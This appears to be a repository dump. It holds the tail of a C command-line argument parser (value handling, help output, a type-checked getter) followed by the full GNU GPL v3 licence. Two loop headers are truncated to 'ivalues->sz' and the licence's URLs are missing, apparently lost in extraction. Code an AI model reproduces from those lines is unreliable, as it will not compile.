argument->value=argbool(true); 145 | if(argument->values){ 146 | die("Programming error:%s:Bad argument: bool arrays are not supported(%s:%d)", __FUNCTION__,__FILE__,__LINE__); 147 | } 148 | argument->is_set=true; 149 | } 150 | if(argument->type==ARG_INT){ 151 | ++i; 152 | if(i>=argc){ 153 | die("Argument %s requires a value.",argument->name); 154 | } 155 | argument->value=argint(atoll(argv[i])); 156 | if(argument->values){ 157 | array_add(argument->values, &argument->value); 158 | } 159 | argument->is_set=true; 160 | } 161 | if(argument->type==ARG_STR){ 162 | ++i; 163 | if(i>=argc){ 164 | die("Argument %s requires a value.",argument->name); 165 | } 166 | char* argvalue=(char*)malloc(sizeof(char)*strlen(argv[i])+sizeof(char)); 167 | strcpy(argvalue, argv[i]); 168 | argument->value.strValue=argvalue; 169 | if(argument->values){ 170 | array_add(argument->values, &argument->value); 171 | } 172 | argument->is_set=true; 173 | } 174 | free(argname); 175 | ++i; 176 | } 177 | //Check if need to show help 178 | if(argument_value_get("--help").boolValue){ 179 | arguments_help(argv[0]); 180 | exit(0); 181 | } 182 | if(help_flag){ 183 | return ;//We don't need to check anything – there is help arguments 184 | } 185 | //Check that all compulsory arguments are set 186 | for(i=0;ivalues->sz;++i){ 187 | argument_t *argument = (argument_t*)arguments->values->base[i]; 188 | if((!argument->is_set)&&argument->compulsory){ 189 | die("Argument %s is required.",argument->name); 190 | } 191 | } 192 | } 193 | 194 | void arguments_help(const char *progname){ 195 | /* Shows help for an prgoram 196 | progname – name of program(ususally argv[0])*/ 197 | if(!usage){ 198 | warn("Programming warning:usage is unset(%s:%d)", __FILE__, __LINE__); 199 | } 200 | int i=0; 201 | info("Usage: %s %s",progname, usage); 202 | for(;ivalues->sz;++i){ 203 | argument_t *argument = (argument_t*)arguments->values->base[i]; 204 | printf(" %s – %s\n",argument->name, argument->description); 205 | } 206 | } 207 | argvalue argument_value_get_s(char *name, argtype type){//Secure version of argument_value_get 208 | /* The same as argument_value_get but with type check. 209 | Useful for modules. */ 210 | argument_t *argument=argument_get(name); 211 | if(argument->type!=type){ 212 | die("Programming error: argument %s has wrong type!(%s:%d)",name,__FILE__,__LINE__); 213 | } 214 | return argument->value; 215 | } 216 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------